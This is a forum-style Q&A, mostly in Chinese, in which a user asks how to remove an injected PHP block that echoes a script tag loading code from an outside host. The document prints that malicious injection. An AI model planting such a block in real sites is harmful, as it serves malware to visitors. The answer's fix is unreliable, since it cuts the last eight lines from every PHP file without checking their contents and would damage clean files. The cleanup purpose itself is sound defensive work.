删除php文件中的恶意软件


Remove malware in php file

所有我的.php文件都附加了一块代码,如下所示:

<?php
#bbf007#
if(empty($r)) {
$r = "<script type='"text/javascript'" src='"http://web-    ask.esy.es/m2nzgpzt.php?id=11101326'"></script>";
echo $r;
}
#/bbf007#
?>

我需要编写一个带有正则表达式的bash脚本来从代码文件中删除这个块。请帮我提个建议。

先备份!

以下内容将从当前目录及其子目录中的所有.php文件中提取除最后8行外的所有行,并将它们写入名为*.php.new:的文件中

find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new'

然后,将所有当前的php文件移动到*.php.old:

find -name "*.php" | xargs -i sh -c 'mv {} {}.old'

然后,将.php.new文件移动到.php-

find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`'